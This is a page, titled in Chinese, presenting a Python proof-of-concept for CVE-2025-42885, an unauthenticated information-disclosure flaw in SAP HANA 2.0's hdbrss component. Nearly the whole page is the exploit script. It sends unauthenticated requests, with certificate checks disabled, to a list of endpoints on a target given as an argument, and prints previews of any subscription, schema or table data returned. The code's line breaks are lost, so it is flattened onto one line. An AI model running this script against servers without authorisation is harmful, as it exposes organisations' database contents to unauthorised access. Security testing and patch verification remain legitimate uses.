CVE-2025-42885 SAP HANA 2.0 hdbrss缺少认证导致信息泄露

# CVE-2025-42885 SAP HANA hdbrss Authentication Bypass PoC # Target: SAP HANA 2.0 with vulnerable hdbrss component # Note: This is for educational and authorized testing purposes only import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-42885""" # Common hdbrss endpoints endpoints = [ "/sap/hana/xs/dt/base/server/hdbrss.xsodata", "/sap/hana/xs/dt/base/server/hdbrss/", "/hdbrss/api/v1/subscriptions", "/sap/hana/democontent/epm/services/hdbrss.xsodata" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-42885 - SAP HANA hdbrss Missing Authentication\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Attempt to access without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json, application/xml' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Endpoint: {endpoint}") print(f" Status: {response.status_code}") # Check if we can access subscription data if response.status_code == 200: content = response.text if any(keyword in content.lower() for keyword in ['subscription', 'datasource', 'schema', 'table']): print(f" [!] VULNERABLE - Information disclosure possible") print(f" Response preview: {content[:200]}...") return True elif response.status_code == 401 or response.status_code == 403: print(f" [-] Protected - Authentication required") else: print(f" [-] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-42885.py <target_url>") print("Example: python cve-2025-42885.py https://sap-hana-server:4300") sys.exit(1) target = sys.argv[1] result = check_vulnerability(target) if result: print("\n[!] Target appears to be vulnerable to CVE-2025-42885") else: print("\n[-] Target does not appear to be vulnerable")